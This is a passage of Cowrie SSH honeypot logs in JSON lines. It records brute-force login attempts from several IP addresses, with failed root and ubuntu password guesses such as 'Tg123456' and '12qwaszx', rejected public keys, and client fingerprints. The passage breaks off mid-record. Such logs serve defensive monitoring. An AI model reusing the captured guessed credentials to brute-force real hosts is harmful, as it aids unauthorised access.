{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:58:b0:4c:87:96:75:95:ac:82:80:f7:ee:88:ba:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQDa1BiLbojpi33YTS+4xx24DRu4eYUlCV5LbSch+JAk1jLqiEnQyzefjcC7fc6vWq1rEtBJYwonoffiV++3btxwguqoyA9hHuCpPcvzjyJBnUx0fykBT93BAHhe7d9am58UP410NNjDs01GwAOLRVqlNF6e9uyRj21roqx2b3XskYyBOOgeTx4ZTKeV5FoecSFJiHoj8QEvqu0dA8SYurS0uTaWYTyCC0hxHnt2CIi6t0lLD3Rig++A8EOR3IeSwOAzDlrCaD28jvdDR7sNCsQUr0PtOqJGlJO7zHdQws0t1SM6Eslw/1XjzznPX6zMpT5N5nkz82mFVQmmR/1/FXLJPZFV3mSyoyTTtYCTbn4Z3pvc7YK02SunUS9gmt2zqYGNB9XcY6NNefkN76buodwff5UA5vktLAssRabARrBj7Pg8/NSiTLunk12bWR3J7r2ifa0d8xxH5F8tMwQ0nAWKUTIvw0fh+mwOjeg8VKnJk/VDEpCvnRcUWwdDe6q5zZ+5XDQwBz5/GG1j4brLGT3gGKrNTpOezNgpNtLMra4Be2Ucrvo0glGHkx94zmuQCaSXfc9On0yTSI/HH7bbzm69vDKXBUlWbrkDDAj4AU+SE+s0di3fHbxvt9JPwaCGy2Ys2SYoEBuvGt5lCUqvtD5OuPqxDt1LF9xwwk0ZQ3jEnShWfOO7DrLZ2BpEiGuQ4OQJAKngDn4AN6fMVhTnQeZXoTpg+V84P9ly4UJX2Qw2/nlq9I6TK3EPubfxcydgsohTFOd+vyhb+JRZQzinFq3kunV0bHiuipajkvSFF2llDSk2T85/pWMLA2cl5wu2Ac/sZaC+9ZZwA5wAs8/dW4tZkPlvnDHCStzvUTMttwUS2P8YtXPbRUfIgv8raTOn/sRwWOvP+xhHfRMQI2Ra8EhUGNi9RMkqN8HW1Vpu3Gfyt0ZojXpgR98y5JYWfnOwUDQepwHGOmUfaBO+vpZdt9XMpaluHm2i5tj5yhSAXva4Ce8JXFp6ep8xJULtNuxTcvX6Gg96grkJwc7kcbCaDQTcTbjb9ToBa6sqQDY4IngO3KUJ+EXUrZ85Panupv0xxls1Act30JrCxAnbygH0WJ/KOB1ZVBEavoZV7VuTpFbJ7T4tLPVrskXKxiFmGpNmqGtz73iJZytTFEZowD2FyHAlCWNqLfj1GW9ViNRjq4SpOvKAsNIz96ylR8tPfNcQ4D9oOYit0DeDuLC1KDWFEnWuXgNf8Cwa0OLXHeEflBeEoxQK164tJ3qWNMO657hK9vaCcrI/quBfNOvCJK891Oh6YFk3ZskpSEzOiig1fErJNacFkiYevoS/YO1EfYF9Nhpd0So7+sux84lBnsILMBMv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:58:b0:4c:87:96:75:95:ac:82:80:f7:ee:88:ba:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.545027Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:58:b0:4c:87:96:75:95:ac:82:80:f7:ee:88:ba:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAEAQDa1BiLbojpi33YTS+4xx24DRu4eYUlCV5LbSch+JAk1jLqiEnQyzefjcC7fc6vWq1rEtBJYwonoffiV++3btxwguqoyA9hHuCpPcvzjyJBnUx0fykBT93BAHhe7d9am58UP410NNjDs01GwAOLRVqlNF6e9uyRj21roqx2b3XskYyBOOgeTx4ZTKeV5FoecSFJiHoj8QEvqu0dA8SYurS0uTaWYTyCC0hxHnt2CIi6t0lLD3Rig++A8EOR3IeSwOAzDlrCaD28jvdDR7sNCsQUr0PtOqJGlJO7zHdQws0t1SM6Eslw/1XjzznPX6zMpT5N5nkz82mFVQmmR/1/FXLJPZFV3mSyoyTTtYCTbn4Z3pvc7YK02SunUS9gmt2zqYGNB9XcY6NNefkN76buodwff5UA5vktLAssRabARrBj7Pg8/NSiTLunk12bWR3J7r2ifa0d8xxH5F8tMwQ0nAWKUTIvw0fh+mwOjeg8VKnJk/VDEpCvnRcUWwdDe6q5zZ+5XDQwBz5/GG1j4brLGT3gGKrNTpOezNgpNtLMra4Be2Ucrvo0glGHkx94zmuQCaSXfc9On0yTSI/HH7bbzm69vDKXBUlWbrkDDAj4AU+SE+s0di3fHbxvt9JPwaCGy2Ys2SYoEBuvGt5lCUqvtD5OuPqxDt1LF9xwwk0ZQ3jEnShWfOO7DrLZ2BpEiGuQ4OQJAKngDn4AN6fMVhTnQeZXoTpg+V84P9ly4UJX2Qw2/nlq9I6TK3EPubfxcydgsohTFOd+vyhb+JRZQzinFq3kunV0bHiuipajkvSFF2llDSk2T85/pWMLA2cl5wu2Ac/sZaC+9ZZwA5wAs8/dW4tZkPlvnDHCStzvUTMttwUS2P8YtXPbRUfIgv8raTOn/sRwWOvP+xhHfRMQI2Ra8EhUGNi9RMkqN8HW1Vpu3Gfyt0ZojXpgR98y5JYWfnOwUDQepwHGOmUfaBO+vpZdt9XMpaluHm2i5tj5yhSAXva4Ce8JXFp6ep8xJULtNuxTcvX6Gg96grkJwc7kcbCaDQTcTbjb9ToBa6sqQDY4IngO3KUJ+EXUrZ85Panupv0xxls1Act30JrCxAnbygH0WJ/KOB1ZVBEavoZV7VuTpFbJ7T4tLPVrskXKxiFmGpNmqGtz73iJZytTFEZowD2FyHAlCWNqLfj1GW9ViNRjq4SpOvKAsNIz96ylR8tPfNcQ4D9oOYit0DeDuLC1KDWFEnWuXgNf8Cwa0OLXHeEflBeEoxQK164tJ3qWNMO657hK9vaCcrI/quBfNOvCJK891Oh6YFk3ZskpSEzOiig1fErJNacFkiYevoS/YO1EfYF9Nhpd0So7+sux84lBnsILMBMv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.548132Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c5:63:9e:e6:61:47:b4:ba:11:16:c0:ef:97:78:62:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUQB/j7pQnzCHFGdE0oxpfhQCdlb3pAnAYMGzSKo6suusIVqVca9bpdQdGhIn2aLpiCjo+2LuSiR1hk2uClS/HIE/0J9vtUKoHlDIypK53ldeL7OJM89U/+16yFKtAFLS7uugIPxPoVhoTrluNIsZFP8guDb6kPAAXthKFoDzg8GlWH05s3Rsp4xrntcoeZgiAwUrNIIg9gaxMrXbEMBsUvUbibYifNMxxnyJBkxjms1ob/xO8I5QnbMfrlinhYZgwwz6JvE+vdryuNP2mJH1EP4CS0F/6BowAsvtryGJILwVr5h48F3jlaE6U1ITz1JZ8tKqH3BUrylISQMj52NSv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c5:63:9e:e6:61:47:b4:ba:11:16:c0:ef:97:78:62:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.619886Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c5:63:9e:e6:61:47:b4:ba:11:16:c0:ef:97:78:62:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDUQB/j7pQnzCHFGdE0oxpfhQCdlb3pAnAYMGzSKo6suusIVqVca9bpdQdGhIn2aLpiCjo+2LuSiR1hk2uClS/HIE/0J9vtUKoHlDIypK53ldeL7OJM89U/+16yFKtAFLS7uugIPxPoVhoTrluNIsZFP8guDb6kPAAXthKFoDzg8GlWH05s3Rsp4xrntcoeZgiAwUrNIIg9gaxMrXbEMBsUvUbibYifNMxxnyJBkxjms1ob/xO8I5QnbMfrlinhYZgwwz6JvE+vdryuNP2mJH1EP4CS0F/6BowAsvtryGJILwVr5h48F3jlaE6U1ITz1JZ8tKqH3BUrylISQMj52NSv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.623250Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:62:94:ac:f7:e8:c3:04:34:8b:a4:31:40:bf:db:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsHO1e8VTzrIwxObKHmOcykuKFl60Qy3PVyP5yfc0cKDg+0fy+uXzBtK9ftCJeEW/GwzOjkwRJH0uPfuUBDI1kpsNKFcoE6OyzpbXWriMRPzmZWT/NaixCbxF1uiRnflKrs0xSpE8sosP3JQ9O+Bduev1UU9ByDGTK/vGe6Z46rF6hGCynEjSvi7ybKK2Mtu2PgBJvcjDiGzFdTDdc113tBz9njJQD8Ln1aq/olD3OjD+SN18gGm1+zg6LuKodqsud9N+8qOxzY7freJbejpecMcXm0TpoZUyKTkg30TcQL1xQg9GJnJtIDiAihAsIQYVukPFDuceuselS2dpRZeFQQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:62:94:ac:f7:e8:c3:04:34:8b:a4:31:40:bf:db:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.695335Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:62:94:ac:f7:e8:c3:04:34:8b:a4:31:40:bf:db:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsHO1e8VTzrIwxObKHmOcykuKFl60Qy3PVyP5yfc0cKDg+0fy+uXzBtK9ftCJeEW/GwzOjkwRJH0uPfuUBDI1kpsNKFcoE6OyzpbXWriMRPzmZWT/NaixCbxF1uiRnflKrs0xSpE8sosP3JQ9O+Bduev1UU9ByDGTK/vGe6Z46rF6hGCynEjSvi7ybKK2Mtu2PgBJvcjDiGzFdTDdc113tBz9njJQD8Ln1aq/olD3OjD+SN18gGm1+zg6LuKodqsud9N+8qOxzY7freJbejpecMcXm0TpoZUyKTkg30TcQL1xQg9GJnJtIDiAihAsIQYVukPFDuceuselS2dpRZeFQQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.698814Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"da:37:3b:e7:2d:7f:fc:03:bf:fe:3e:76:ba:cf:80:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIM3r07SeL5vVGJqSu91zmxKx2YE8F0v16DB2tz/K6Mvu74MAerVJQkPEfQCfsuQcB18eJ49FGhyt4fPL4ALP9c9Ghc7TiDg6dMxc5ILCZrQTHUaZB6Zhkrt+5mjulz1THhXVNyta4H6Zx7RyVs/HD+Kv8CH7QI19WzR4yCDpC//PZX0PMB0fZElzLK2iavGFMnuoE2A9al3Q11nkttvrKlrwgNqgDedhJyUdomJEUa63H9RQL9pb0VpbdhbnxKDnMjLwWJBovgDJ307D9VPsUld4MeGaSue1m1EvWYB9HZPACnvkMLETPJligaeIB8u0kkVJle3ppBC761I0Agt8t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint da:37:3b:e7:2d:7f:fc:03:bf:fe:3e:76:ba:cf:80:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.771050Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"da:37:3b:e7:2d:7f:fc:03:bf:fe:3e:76:ba:cf:80:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIM3r07SeL5vVGJqSu91zmxKx2YE8F0v16DB2tz/K6Mvu74MAerVJQkPEfQCfsuQcB18eJ49FGhyt4fPL4ALP9c9Ghc7TiDg6dMxc5ILCZrQTHUaZB6Zhkrt+5mjulz1THhXVNyta4H6Zx7RyVs/HD+Kv8CH7QI19WzR4yCDpC//PZX0PMB0fZElzLK2iavGFMnuoE2A9al3Q11nkttvrKlrwgNqgDedhJyUdomJEUa63H9RQL9pb0VpbdhbnxKDnMjLwWJBovgDJ307D9VPsUld4MeGaSue1m1EvWYB9HZPACnvkMLETPJligaeIB8u0kkVJle3ppBC761I0Agt8t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.774582Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":55338,"dst_ip":"10.17.0.5","dst_port":22,"session":"95b76384b8ff","protocol":"ssh","message":"New connection: 152.32.205.153:55338 (10.17.0.5:22) [session: 95b76384b8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.784989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.788705Z","src_ip":"152.32.205.153","session":"95b76384b8ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.802669Z","src_ip":"152.32.205.153","session":"95b76384b8ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.847881Z","src_ip":"209.90.232.251","session":"4b1cd3ecc72d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tg123456","message":"login attempt [root/Tg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:04.893875Z","src_ip":"152.32.205.153","session":"95b76384b8ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:05.911112Z","src_ip":"152.32.205.153","session":"95b76384b8ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.207.224.247","src_port":50900,"dst_ip":"159.203.135.109","dst_port":22,"session":"7059aa4caf48","protocol":"ssh","message":"New connection: 68.207.224.247:50900 (159.203.135.109:22) [session: 7059aa4caf48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:07.412263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:07.416632Z","src_ip":"68.207.224.247","session":"7059aa4caf48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:07.454879Z","src_ip":"68.207.224.247","session":"7059aa4caf48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abcd123!","message":"login attempt [root/Abcd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:07.634068Z","src_ip":"68.207.224.247","session":"7059aa4caf48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:08.674768Z","src_ip":"68.207.224.247","session":"7059aa4caf48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":58006,"dst_ip":"10.17.0.5","dst_port":22,"session":"e990aa1b52b7","protocol":"ssh","message":"New connection: 196.196.150.5:58006 (10.17.0.5:22) [session: e990aa1b52b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:13.231375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:13.243058Z","src_ip":"196.196.150.5","session":"e990aa1b52b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:13.349604Z","src_ip":"196.196.150.5","session":"e990aa1b52b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lucas","message":"login attempt [root/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:13.809621Z","src_ip":"196.196.150.5","session":"e990aa1b52b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:14.918760Z","src_ip":"196.196.150.5","session":"e990aa1b52b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":37460,"dst_ip":"10.17.0.5","dst_port":22,"session":"476308643106","protocol":"ssh","message":"New connection: 163.7.1.218:37460 (10.17.0.5:22) [session: 476308643106]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:17.511606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:17.515403Z","src_ip":"163.7.1.218","session":"476308643106","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:17.765459Z","src_ip":"163.7.1.218","session":"476308643106","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12qwaszx","message":"login attempt [ubuntu/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:18.802032Z","src_ip":"163.7.1.218","session":"476308643106","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:20.055611Z","src_ip":"163.7.1.218","session":"476308643106","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36776,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fa5a7be4917","protocol":"ssh","message":"New connection: 8.210.75.243:36776 (10.17.0.5:22) [session: 2fa5a7be4917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:22.424666Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.208.197.64","src_port":41808,"dst_ip":"10.17.0.5","dst_port":22,"session":"da61971dd894","protocol":"ssh","message":"New connection: 91.208.197.64:41808 (10.17.0.5:22) [session: da61971dd894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:26.599548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:21:26.603585Z","src_ip":"91.208.197.64","session":"da61971dd894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-s